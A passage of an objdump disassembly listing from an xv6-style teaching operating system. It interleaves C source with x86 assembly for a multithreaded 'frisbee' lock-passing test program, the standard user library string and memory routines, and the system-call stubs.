10af: c7 45 e0 84 23 00 00 movl $0x2384,-0x20(%ebp)
10b6: eb 0d jmp 10c5 <main+0xc5>
t->tid = 0;
10b8: 8b 45 e0 mov -0x20(%ebp),%eax
10bb: c7 00 00 00 00 00 movl $0x0,(%eax)
void * slist[numthreads];
//init ttable;
lock_init(&ttable.lock);
ttable.total = 0;
for(t=ttable.thread;t < &ttable.thread[64];t++){
10c1: 83 45 e0 08 addl $0x8,-0x20(%ebp)
10c5: 81 7d e0 84 25 00 00 cmpl $0x2584,-0x20(%ebp)
10cc: 72 ea jb 10b8 <main+0xb8>
t->tid = 0;
}
//init stack list
for(i = 0; i < 64;i++){
10ce: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
10d5: eb 11 jmp 10e8 <main+0xe8>
slist[i]=0;
10d7: 8b 45 d8 mov -0x28(%ebp),%eax
10da: 8b 55 e4 mov -0x1c(%ebp),%edx
10dd: c7 04 90 00 00 00 00 movl $0x0,(%eax,%edx,4)
ttable.total = 0;
for(t=ttable.thread;t < &ttable.thread[64];t++){
t->tid = 0;
}
//init stack list
for(i = 0; i < 64;i++){
10e4: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
10e8: 83 7d e4 3f cmpl $0x3f,-0x1c(%ebp)
10ec: 7e e9 jle 10d7 <main+0xd7>
slist[i]=0;
}
//init frisbee
lock_init(&frisbee.lock);
10ee: c7 04 24 88 25 00 00 movl $0x2588,(%esp)
10f5: e8 04 0b 00 00 call 1bfe <lock_init>
frisbee.pass = 0;
10fa: c7 05 8c 25 00 00 00 movl $0x0,0x258c
1101: 00 00 00
frisbee.holding_thread = 0;
1104: c7 05 90 25 00 00 00 movl $0x0,0x2590
110b: 00 00 00
printf(1,"\nnum of threads %d \n",numthreads);
110e: a1 60 23 00 00 mov 0x2360,%eax
1113: 89 44 24 08 mov %eax,0x8(%esp)
1117: c7 44 24 04 6d 1e 00 movl $0x1e6d,0x4(%esp)
111e: 00
111f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1126: e8 e9 06 00 00 call 1814 <printf>
printf(1,"num of passes %d \n\n",numpass);
112b: a1 64 23 00 00 mov 0x2364,%eax
1130: 89 44 24 08 mov %eax,0x8(%esp)
1134: c7 44 24 04 82 1e 00 movl $0x1e82,0x4(%esp)
113b: 00
113c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1143: e8 cc 06 00 00 call 1814 <printf>
for(i=0; i<numthreads;i++){
1148: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
114f: eb 43 jmp 1194 <main+0x194>
void *stack = thread_create(pass_next,(void *)0);
1151: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1158: 00
1159: c7 04 24 3d 12 00 00 movl $0x123d,(%esp)
1160: e8 e2 0a 00 00 call 1c47 <thread_create>
1165: 89 45 d4 mov %eax,-0x2c(%ebp)
if(stack == 0)
1168: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
116c: 75 16 jne 1184 <main+0x184>
printf(1,"thread_create fail\n");
116e: c7 44 24 04 96 1e 00 movl $0x1e96,0x4(%esp)
1175: 00
1176: c7 04 24 01 00 00 00 movl $0x1,(%esp)
117d: e8 92 06 00 00 call 1814 <printf>
1182: eb 0c jmp 1190 <main+0x190>
else{
slist[i] = stack;
1184: 8b 45 d8 mov -0x28(%ebp),%eax
1187: 8b 55 e4 mov -0x1c(%ebp),%edx
118a: 8b 4d d4 mov -0x2c(%ebp),%ecx
118d: 89 0c 90 mov %ecx,(%eax,%edx,4)
printf(1,"\nnum of threads %d \n",numthreads);
printf(1,"num of passes %d \n\n",numpass);
for(i=0; i<numthreads;i++){
1190: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
1194: a1 60 23 00 00 mov 0x2360,%eax
1199: 39 45 e4 cmp %eax,-0x1c(%ebp)
119c: 7c b3 jl 1151 <main+0x151>
else{
slist[i] = stack;
}
}
// sleep(5);
for(i=0;i<numthreads;i++){
119e: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
11a5: eb 10 jmp 11b7 <main+0x1b7>
if(wait() == -1)
11a7: e8 c8 04 00 00 call 1674 <wait>
11ac: 83 f8 ff cmp $0xffffffff,%eax
11af: 75 02 jne 11b3 <main+0x1b3>
break;
11b1: eb 0e jmp 11c1 <main+0x1c1>
else{
slist[i] = stack;
}
}
// sleep(5);
for(i=0;i<numthreads;i++){
11b3: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
11b7: a1 60 23 00 00 mov 0x2360,%eax
11bc: 39 45 e4 cmp %eax,-0x1c(%ebp)
11bf: 7c e6 jl 11a7 <main+0x1a7>
if(wait() == -1)
break;
}
// add printf for tid look up.
for(t=ttable.thread;t < &ttable.thread[64];t++){
11c1: c7 45 e0 84 23 00 00 movl $0x2384,-0x20(%ebp)
11c8: eb 2a jmp 11f4 <main+0x1f4>
if(t->tid != 0)
11ca: 8b 45 e0 mov -0x20(%ebp),%eax
11cd: 8b 00 mov (%eax),%eax
11cf: 85 c0 test %eax,%eax
11d1: 74 1d je 11f0 <main+0x1f0>
printf(1,"thread %d was killed! stack was freed.\n",t->tid);
11d3: 8b 45 e0 mov -0x20(%ebp),%eax
11d6: 8b 00 mov (%eax),%eax
11d8: 89 44 24 08 mov %eax,0x8(%esp)
11dc: c7 44 24 04 ac 1e 00 movl $0x1eac,0x4(%esp)
11e3: 00
11e4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11eb: e8 24 06 00 00 call 1814 <printf>
for(i=0;i<numthreads;i++){
if(wait() == -1)
break;
}
// add printf for tid look up.
for(t=ttable.thread;t < &ttable.thread[64];t++){
11f0: 83 45 e0 08 addl $0x8,-0x20(%ebp)
11f4: 81 7d e0 84 25 00 00 cmpl $0x2584,-0x20(%ebp)
11fb: 72 cd jb 11ca <main+0x1ca>
if(t->tid != 0)
printf(1,"thread %d was killed! stack was freed.\n",t->tid);
}
//free stacks
for(i=0;i<numthreads;i++){
11fd: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
1204: eb 28 jmp 122e <main+0x22e>
if(slist[i] != 0){
1206: 8b 45 d8 mov -0x28(%ebp),%eax
1209: 8b 55 e4 mov -0x1c(%ebp),%edx
120c: 8b 04 90 mov (%eax,%edx,4),%eax
120f: 85 c0 test %eax,%eax
1211: 74 17 je 122a <main+0x22a>
void * f = slist[i];
1213: 8b 45 d8 mov -0x28(%ebp),%eax
1216: 8b 55 e4 mov -0x1c(%ebp),%edx
1219: 8b 04 90 mov (%eax,%edx,4),%eax
121c: 89 45 d0 mov %eax,-0x30(%ebp)
free(f);
121f: 8b 45 d0 mov -0x30(%ebp),%eax
1222: 89 04 24 mov %eax,(%esp)
1225: e8 9e 07 00 00 call 19c8 <free>
if(t->tid != 0)
printf(1,"thread %d was killed! stack was freed.\n",t->tid);
}
//free stacks
for(i=0;i<numthreads;i++){
122a: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
122e: a1 60 23 00 00 mov 0x2360,%eax
1233: 39 45 e4 cmp %eax,-0x1c(%ebp)
1236: 7c ce jl 1206 <main+0x206>
if(slist[i] != 0){
void * f = slist[i];
free(f);
}
}
exit();
1238: e8 2f 04 00 00 call 166c <exit>
0000123d <pass_next>:
}
void pass_next(void *arg){
123d: 55 push %ebp
123e: 89 e5 mov %esp,%ebp
1240: 83 ec 28 sub $0x28,%esp
struct thread *t;
int tid;
tid = getpid();
1243: e8 a4 04 00 00 call 16ec <getpid>
1248: 89 45 f0 mov %eax,-0x10(%ebp)
lock_acquire(&ttable.lock);
124b: c7 04 24 80 23 00 00 movl $0x2380,(%esp)
1252: e8 b5 09 00 00 call 1c0c <lock_acquire>
for(t=ttable.thread;t < &ttable.thread[64];t++){
1257: c7 45 f4 84 23 00 00 movl $0x2384,-0xc(%ebp)
125e: eb 17 jmp 1277 <pass_next+0x3a>
if(t->tid == 0){
1260: 8b 45 f4 mov -0xc(%ebp),%eax
1263: 8b 00 mov (%eax),%eax
1265: 85 c0 test %eax,%eax
1267: 75 0a jne 1273 <pass_next+0x36>
t->tid = tid;
1269: 8b 45 f4 mov -0xc(%ebp),%eax
126c: 8b 55 f0 mov -0x10(%ebp),%edx
126f: 89 10 mov %edx,(%eax)
break;
1271: eb 0d jmp 1280 <pass_next+0x43>
int tid;
tid = getpid();
lock_acquire(&ttable.lock);
for(t=ttable.thread;t < &ttable.thread[64];t++){
1273: 83 45 f4 08 addl $0x8,-0xc(%ebp)
1277: 81 7d f4 84 25 00 00 cmpl $0x2584,-0xc(%ebp)
127e: 72 e0 jb 1260 <pass_next+0x23>
if(t->tid == 0){
t->tid = tid;
break;
}
}
ttable.total++;
1280: a1 84 25 00 00 mov 0x2584,%eax
1285: 83 c0 01 add $0x1,%eax
1288: a3 84 25 00 00 mov %eax,0x2584
lock_release(&ttable.lock);
128d: c7 04 24 80 23 00 00 movl $0x2380,(%esp)
1294: e8 93 09 00 00 call 1c2c <lock_release>
for(;;){
lock_acquire(&ttable.lock);
1299: c7 04 24 80 23 00 00 movl $0x2380,(%esp)
12a0: e8 67 09 00 00 call 1c0c <lock_acquire>
if(ttable.total == numthreads){
12a5: 8b 15 84 25 00 00 mov 0x2584,%edx
12ab: a1 60 23 00 00 mov 0x2360,%eax
12b0: 39 c2 cmp %eax,%edx
12b2: 75 39 jne 12ed <pass_next+0xb0>
printf(1," tid %d ready to go\n",t->tid);
12b4: 8b 45 f4 mov -0xc(%ebp),%eax
12b7: 8b 00 mov (%eax),%eax
12b9: 89 44 24 08 mov %eax,0x8(%esp)
12bd: c7 44 24 04 d4 1e 00 movl $0x1ed4,0x4(%esp)
12c4: 00
12c5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12cc: e8 43 05 00 00 call 1814 <printf>
barrier++;
12d1: a1 68 23 00 00 mov 0x2368,%eax
12d6: 83 c0 01 add $0x1,%eax
12d9: a3 68 23 00 00 mov %eax,0x2368
goto start;
12de: 90 nop
lock_release(&ttable.lock);
}
//barriar above
start:
lock_release(&ttable.lock);
12df: c7 04 24 80 23 00 00 movl $0x2380,(%esp)
12e6: e8 41 09 00 00 call 1c2c <lock_release>
while(barrier != numthreads);
12eb: eb 0e jmp 12fb <pass_next+0xbe>
if(ttable.total == numthreads){
printf(1," tid %d ready to go\n",t->tid);
barrier++;
goto start;
}
lock_release(&ttable.lock);
12ed: c7 04 24 80 23 00 00 movl $0x2380,(%esp)
12f4: e8 33 09 00 00 call 1c2c <lock_release>
}
12f9: eb 9e jmp 1299 <pass_next+0x5c>
//barriar above
start:
lock_release(&ttable.lock);
while(barrier != numthreads);
12fb: 8b 15 68 23 00 00 mov 0x2368,%edx
1301: a1 60 23 00 00 mov 0x2360,%eax
1306: 39 c2 cmp %eax,%edx
1308: 75 f1 jne 12fb <pass_next+0xbe>
//throw frisbee
do{
lock_acquire(&frisbee.lock);
130a: c7 04 24 88 25 00 00 movl $0x2588,(%esp)
1311: e8 f6 08 00 00 call 1c0c <lock_acquire>
if(frisbee.pass > numpass){
1316: 8b 15 8c 25 00 00 mov 0x258c,%edx
131c: a1 64 23 00 00 mov 0x2364,%eax
1321: 39 c2 cmp %eax,%edx
1323: 7e 39 jle 135e <pass_next+0x121>
lock_release(&frisbee.lock);
1325: c7 04 24 88 25 00 00 movl $0x2588,(%esp)
132c: e8 fb 08 00 00 call 1c2c <lock_release>
goto leaving;
1331: 90 nop
frisbee.holding_thread = tid;
lock_release(&frisbee.lock);
}while(1);
leaving:
lock_release(&frisbee.lock);
1332: c7 04 24 88 25 00 00 movl $0x2588,(%esp)
1339: e8 ee 08 00 00 call 1c2c <lock_release>
printf(1,"thread %d out of game\n",tid);
133e: 8b 45 f0 mov -0x10(%ebp),%eax
1341: 89 44 24 08 mov %eax,0x8(%esp)
1345: c7 44 24 04 20 1f 00 movl $0x1f20,0x4(%esp)
134c: 00
134d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1354: e8 bb 04 00 00 call 1814 <printf>
texit();
1359: e8 b6 03 00 00 call 1714 <texit>
lock_acquire(&frisbee.lock);
if(frisbee.pass > numpass){
lock_release(&frisbee.lock);
goto leaving;
}
if(frisbee.holding_thread == tid){
135e: a1 90 25 00 00 mov 0x2590,%eax
1363: 3b 45 f0 cmp -0x10(%ebp),%eax
1366: 75 1b jne 1383 <pass_next+0x146>
lock_release(&frisbee.lock);
1368: c7 04 24 88 25 00 00 movl $0x2588,(%esp)
136f: e8 b8 08 00 00 call 1c2c <lock_release>
sleep(5);
1374: c7 04 24 05 00 00 00 movl $0x5,(%esp)
137b: e8 7c 03 00 00 call 16fc <sleep>
continue;
1380: 90 nop
printf(1,"pass: %d, thread %d catch the frisbee. throwing...\n",
frisbee.pass, tid);
frisbee.pass++;
frisbee.holding_thread = tid;
lock_release(&frisbee.lock);
}while(1);
1381: eb 87 jmp 130a <pass_next+0xcd>
if(frisbee.holding_thread == tid){
lock_release(&frisbee.lock);
sleep(5);
continue;
}
printf(1,"pass: %d, thread %d catch the frisbee. throwing...\n",
1383: a1 8c 25 00 00 mov 0x258c,%eax
1388: 8b 55 f0 mov -0x10(%ebp),%edx
138b: 89 54 24 0c mov %edx,0xc(%esp)
138f: 89 44 24 08 mov %eax,0x8(%esp)
1393: c7 44 24 04 ec 1e 00 movl $0x1eec,0x4(%esp)
139a: 00
139b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13a2: e8 6d 04 00 00 call 1814 <printf>
frisbee.pass, tid);
frisbee.pass++;
13a7: a1 8c 25 00 00 mov 0x258c,%eax
13ac: 83 c0 01 add $0x1,%eax
13af: a3 8c 25 00 00 mov %eax,0x258c
frisbee.holding_thread = tid;
13b4: 8b 45 f0 mov -0x10(%ebp),%eax
13b7: a3 90 25 00 00 mov %eax,0x2590
lock_release(&frisbee.lock);
13bc: c7 04 24 88 25 00 00 movl $0x2588,(%esp)
13c3: e8 64 08 00 00 call 1c2c <lock_release>
}while(1);
13c8: e9 3d ff ff ff jmp 130a <pass_next+0xcd>
000013cd <lookup>:
lock_release(&frisbee.lock);
printf(1,"thread %d out of game\n",tid);
texit();
}
int lookup(int num_threads){
13cd: 55 push %ebp
13ce: 89 e5 mov %esp,%ebp
13d0: 83 ec 10 sub $0x10,%esp
int i;
struct thread *t;
i = 0;
13d3: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
for(t=ttable.thread;t<&ttable.thread[64];t++){
13da: c7 45 f8 84 23 00 00 movl $0x2384,-0x8(%ebp)
13e1: eb 11 jmp 13f4 <lookup+0x27>
if(t->tid != 0){
13e3: 8b 45 f8 mov -0x8(%ebp),%eax
13e6: 8b 00 mov (%eax),%eax
13e8: 85 c0 test %eax,%eax
13ea: 74 04 je 13f0 <lookup+0x23>
i++;
13ec: 83 45 fc 01 addl $0x1,-0x4(%ebp)
int lookup(int num_threads){
int i;
struct thread *t;
i = 0;
for(t=ttable.thread;t<&ttable.thread[64];t++){
13f0: 83 45 f8 08 addl $0x8,-0x8(%ebp)
13f4: 81 7d f8 84 25 00 00 cmpl $0x2584,-0x8(%ebp)
13fb: 72 e6 jb 13e3 <lookup+0x16>
if(t->tid != 0){
i++;
}
}
return i;
13fd: 8b 45 fc mov -0x4(%ebp),%eax
}
1400: c9 leave
1401: c3 ret
1402: 66 90 xchg %ax,%ax
00001404 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1404: 55 push %ebp
1405: 89 e5 mov %esp,%ebp
1407: 57 push %edi
1408: 53 push %ebx
asm volatile("cld; rep stosb" :
1409: 8b 4d 08 mov 0x8(%ebp),%ecx
140c: 8b 55 10 mov 0x10(%ebp),%edx
140f: 8b 45 0c mov 0xc(%ebp),%eax
1412: 89 cb mov %ecx,%ebx
1414: 89 df mov %ebx,%edi
1416: 89 d1 mov %edx,%ecx
1418: fc cld
1419: f3 aa rep stos %al,%es:(%edi)
141b: 89 ca mov %ecx,%edx
141d: 89 fb mov %edi,%ebx
141f: 89 5d 08 mov %ebx,0x8(%ebp)
1422: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1425: 5b pop %ebx
1426: 5f pop %edi
1427: 5d pop %ebp
1428: c3 ret
00001429 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1429: 55 push %ebp
142a: 89 e5 mov %esp,%ebp
142c: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
142f: 8b 45 08 mov 0x8(%ebp),%eax
1432: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
1435: 90 nop
1436: 8b 45 08 mov 0x8(%ebp),%eax
1439: 8d 50 01 lea 0x1(%eax),%edx
143c: 89 55 08 mov %edx,0x8(%ebp)
143f: 8b 55 0c mov 0xc(%ebp),%edx
1442: 8d 4a 01 lea 0x1(%edx),%ecx
1445: 89 4d 0c mov %ecx,0xc(%ebp)
1448: 0f b6 12 movzbl (%edx),%edx
144b: 88 10 mov %dl,(%eax)
144d: 0f b6 00 movzbl (%eax),%eax
1450: 84 c0 test %al,%al
1452: 75 e2 jne 1436 <strcpy+0xd>
;
return os;
1454: 8b 45 fc mov -0x4(%ebp),%eax
}
1457: c9 leave
1458: c3 ret
00001459 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1459: 55 push %ebp
145a: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
145c: eb 08 jmp 1466 <strcmp+0xd>
p++, q++;
145e: 83 45 08 01 addl $0x1,0x8(%ebp)
1462: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1466: 8b 45 08 mov 0x8(%ebp),%eax
1469: 0f b6 00 movzbl (%eax),%eax
146c: 84 c0 test %al,%al
146e: 74 10 je 1480 <strcmp+0x27>
1470: 8b 45 08 mov 0x8(%ebp),%eax
1473: 0f b6 10 movzbl (%eax),%edx
1476: 8b 45 0c mov 0xc(%ebp),%eax
1479: 0f b6 00 movzbl (%eax),%eax
147c: 38 c2 cmp %al,%dl
147e: 74 de je 145e <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1480: 8b 45 08 mov 0x8(%ebp),%eax
1483: 0f b6 00 movzbl (%eax),%eax
1486: 0f b6 d0 movzbl %al,%edx
1489: 8b 45 0c mov 0xc(%ebp),%eax
148c: 0f b6 00 movzbl (%eax),%eax
148f: 0f b6 c0 movzbl %al,%eax
1492: 29 c2 sub %eax,%edx
1494: 89 d0 mov %edx,%eax
}
1496: 5d pop %ebp
1497: c3 ret
00001498 <strlen>:
uint
strlen(char *s)
{
1498: 55 push %ebp
1499: 89 e5 mov %esp,%ebp
149b: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
149e: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
14a5: eb 04 jmp 14ab <strlen+0x13>
14a7: 83 45 fc 01 addl $0x1,-0x4(%ebp)
14ab: 8b 55 fc mov -0x4(%ebp),%edx
14ae: 8b 45 08 mov 0x8(%ebp),%eax
14b1: 01 d0 add %edx,%eax
14b3: 0f b6 00 movzbl (%eax),%eax
14b6: 84 c0 test %al,%al
14b8: 75 ed jne 14a7 <strlen+0xf>
;
return n;
14ba: 8b 45 fc mov -0x4(%ebp),%eax
}
14bd: c9 leave
14be: c3 ret
000014bf <memset>:
void*
memset(void *dst, int c, uint n)
{
14bf: 55 push %ebp
14c0: 89 e5 mov %esp,%ebp
14c2: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
14c5: 8b 45 10 mov 0x10(%ebp),%eax
14c8: 89 44 24 08 mov %eax,0x8(%esp)
14cc: 8b 45 0c mov 0xc(%ebp),%eax
14cf: 89 44 24 04 mov %eax,0x4(%esp)
14d3: 8b 45 08 mov 0x8(%ebp),%eax
14d6: 89 04 24 mov %eax,(%esp)
14d9: e8 26 ff ff ff call 1404 <stosb>
return dst;
14de: 8b 45 08 mov 0x8(%ebp),%eax
}
14e1: c9 leave
14e2: c3 ret
000014e3 <strchr>:
char*
strchr(const char *s, char c)
{
14e3: 55 push %ebp
14e4: 89 e5 mov %esp,%ebp
14e6: 83 ec 04 sub $0x4,%esp
14e9: 8b 45 0c mov 0xc(%ebp),%eax
14ec: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
14ef: eb 14 jmp 1505 <strchr+0x22>
if(*s == c)
14f1: 8b 45 08 mov 0x8(%ebp),%eax
14f4: 0f b6 00 movzbl (%eax),%eax
14f7: 3a 45 fc cmp -0x4(%ebp),%al
14fa: 75 05 jne 1501 <strchr+0x1e>
return (char*)s;
14fc: 8b 45 08 mov 0x8(%ebp),%eax
14ff: eb 13 jmp 1514 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1501: 83 45 08 01 addl $0x1,0x8(%ebp)
1505: 8b 45 08 mov 0x8(%ebp),%eax
1508: 0f b6 00 movzbl (%eax),%eax
150b: 84 c0 test %al,%al
150d: 75 e2 jne 14f1 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
150f: b8 00 00 00 00 mov $0x0,%eax
}
1514: c9 leave
1515: c3 ret
00001516 <gets>:
char*
gets(char *buf, int max)
{
1516: 55 push %ebp
1517: 89 e5 mov %esp,%ebp
1519: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
151c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1523: eb 4c jmp 1571 <gets+0x5b>
cc = read(0, &c, 1);
1525: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
152c: 00
152d: 8d 45 ef lea -0x11(%ebp),%eax
1530: 89 44 24 04 mov %eax,0x4(%esp)
1534: c7 04 24 00 00 00 00 movl $0x0,(%esp)
153b: e8 44 01 00 00 call 1684 <read>
1540: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1543: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1547: 7f 02 jg 154b <gets+0x35>
break;
1549: eb 31 jmp 157c <gets+0x66>
buf[i++] = c;
154b: 8b 45 f4 mov -0xc(%ebp),%eax
154e: 8d 50 01 lea 0x1(%eax),%edx
1551: 89 55 f4 mov %edx,-0xc(%ebp)
1554: 89 c2 mov %eax,%edx
1556: 8b 45 08 mov 0x8(%ebp),%eax
1559: 01 c2 add %eax,%edx
155b: 0f b6 45 ef movzbl -0x11(%ebp),%eax
155f: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1561: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1565: 3c 0a cmp $0xa,%al
1567: 74 13 je 157c <gets+0x66>
1569: 0f b6 45 ef movzbl -0x11(%ebp),%eax
156d: 3c 0d cmp $0xd,%al
156f: 74 0b je 157c <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1571: 8b 45 f4 mov -0xc(%ebp),%eax
1574: 83 c0 01 add $0x1,%eax
1577: 3b 45 0c cmp 0xc(%ebp),%eax
157a: 7c a9 jl 1525 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
157c: 8b 55 f4 mov -0xc(%ebp),%edx
157f: 8b 45 08 mov 0x8(%ebp),%eax
1582: 01 d0 add %edx,%eax
1584: c6 00 00 movb $0x0,(%eax)
return buf;
1587: 8b 45 08 mov 0x8(%ebp),%eax
}
158a: c9 leave
158b: c3 ret
0000158c <stat>:
int
stat(char *n, struct stat *st)
{
158c: 55 push %ebp
158d: 89 e5 mov %esp,%ebp
158f: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1592: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1599: 00
159a: 8b 45 08 mov 0x8(%ebp),%eax
159d: 89 04 24 mov %eax,(%esp)
15a0: e8 07 01 00 00 call 16ac <open>
15a5: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
15a8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
15ac: 79 07 jns 15b5 <stat+0x29>
return -1;
15ae: b8 ff ff ff ff mov $0xffffffff,%eax
15b3: eb 23 jmp 15d8 <stat+0x4c>
r = fstat(fd, st);
15b5: 8b 45 0c mov 0xc(%ebp),%eax
15b8: 89 44 24 04 mov %eax,0x4(%esp)
15bc: 8b 45 f4 mov -0xc(%ebp),%eax
15bf: 89 04 24 mov %eax,(%esp)
15c2: e8 fd 00 00 00 call 16c4 <fstat>
15c7: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
15ca: 8b 45 f4 mov -0xc(%ebp),%eax
15cd: 89 04 24 mov %eax,(%esp)
15d0: e8 bf 00 00 00 call 1694 <close>
return r;
15d5: 8b 45 f0 mov -0x10(%ebp),%eax
}
15d8: c9 leave
15d9: c3 ret
000015da <atoi>:
int
atoi(const char *s)
{
15da: 55 push %ebp
15db: 89 e5 mov %esp,%ebp
15dd: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
15e0: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
15e7: eb 25 jmp 160e <atoi+0x34>
n = n*10 + *s++ - '0';
15e9: 8b 55 fc mov -0x4(%ebp),%edx
15ec: 89 d0 mov %edx,%eax
15ee: c1 e0 02 shl $0x2,%eax
15f1: 01 d0 add %edx,%eax
15f3: 01 c0 add %eax,%eax
15f5: 89 c1 mov %eax,%ecx
15f7: 8b 45 08 mov 0x8(%ebp),%eax
15fa: 8d 50 01 lea 0x1(%eax),%edx
15fd: 89 55 08 mov %edx,0x8(%ebp)
1600: 0f b6 00 movzbl (%eax),%eax
1603: 0f be c0 movsbl %al,%eax
1606: 01 c8 add %ecx,%eax
1608: 83 e8 30 sub $0x30,%eax
160b: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
160e: 8b 45 08 mov 0x8(%ebp),%eax
1611: 0f b6 00 movzbl (%eax),%eax
1614: 3c 2f cmp $0x2f,%al
1616: 7e 0a jle 1622 <atoi+0x48>
1618: 8b 45 08 mov 0x8(%ebp),%eax
161b: 0f b6 00 movzbl (%eax),%eax
161e: 3c 39 cmp $0x39,%al
1620: 7e c7 jle 15e9 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
1622: 8b 45 fc mov -0x4(%ebp),%eax
}
1625: c9 leave
1626: c3 ret
00001627 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
1627: 55 push %ebp
1628: 89 e5 mov %esp,%ebp
162a: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
162d: 8b 45 08 mov 0x8(%ebp),%eax
1630: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
1633: 8b 45 0c mov 0xc(%ebp),%eax
1636: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
1639: eb 17 jmp 1652 <memmove+0x2b>
*dst++ = *src++;
163b: 8b 45 fc mov -0x4(%ebp),%eax
163e: 8d 50 01 lea 0x1(%eax),%edx
1641: 89 55 fc mov %edx,-0x4(%ebp)
1644: 8b 55 f8 mov -0x8(%ebp),%edx
1647: 8d 4a 01 lea 0x1(%edx),%ecx
164a: 89 4d f8 mov %ecx,-0x8(%ebp)
164d: 0f b6 12 movzbl (%edx),%edx
1650: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1652: 8b 45 10 mov 0x10(%ebp),%eax
1655: 8d 50 ff lea -0x1(%eax),%edx
1658: 89 55 10 mov %edx,0x10(%ebp)
165b: 85 c0 test %eax,%eax
165d: 7f dc jg 163b <memmove+0x14>
*dst++ = *src++;
return vdst;
165f: 8b 45 08 mov 0x8(%ebp),%eax
}
1662: c9 leave
1663: c3 ret
00001664 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1664: b8 01 00 00 00 mov $0x1,%eax
1669: cd 40 int $0x40
166b: c3 ret
0000166c <exit>:
SYSCALL(exit)
166c: b8 02 00 00 00 mov $0x2,%eax
1671: cd 40 int $0x40
1673: c3 ret
00001674 <wait>:
SYSCALL(wait)
1674: b8 03 00 00 00 mov $0x3,%eax
1679: cd 40 int $0x40
167b: c3 ret
0000167c <pipe>:
SYSCALL(pipe)
167c: b8 04 00 00 00 mov $0x4,%eax
1681: cd 40 int $0x40
1683: c3 ret
00001684 <read>:
SYSCALL(read)
1684: b8 05 00 00 00 mov $0x5,%eax
1689: cd 40 int $0x40
168b: c3 ret
0000168c <write>:
SYSCALL(write)
168c: b8 10 00 00 00 mov $0x10,%eax
1691: cd 40 int $0x40
1693: c3 ret
00001694 <close>:
SYSCALL(close)
1694: b8 15 00 00 00 mov $0x15,%eax
1699: cd 40 int $0x40
169b: c3 ret
0000169c <kill>:
SYSCALL(kill)
169c: b8 06 00 00 00 mov $0x6,%eax
16a1: cd 40 int $0x40
16a3: c3 ret
000016a4 <exec>:
SYSCALL(exec)
16a4: b8 07 00 00 00 mov $0x7,%eax
16a9: cd 40 int $0x40
16ab: c3 ret
000016ac <open>:
SYSCALL(open)
16ac: b8 0f 00 00 00 mov $0xf,%eax
16b1: cd 40 int $0x40
16b3: c3 ret
000016b4 <mknod>:
SYSCALL(mknod)
16b4: b8 11 00 00 00 mov $0x11,%eax
16b9: cd 40 int $0x40
16bb: c3 ret
000016bc <unlink>:
SYSCALL(unlink)
16bc: b8 12 00 00 00 mov $0x12,%eax
16c1: cd 40 int $0x40
16c3: c3 ret
000016c4 <fstat>:
SYSCALL(fstat)
16c4: b8 08 00 00 00 mov $0x8,%eax
16c9: cd 40 int $0x40
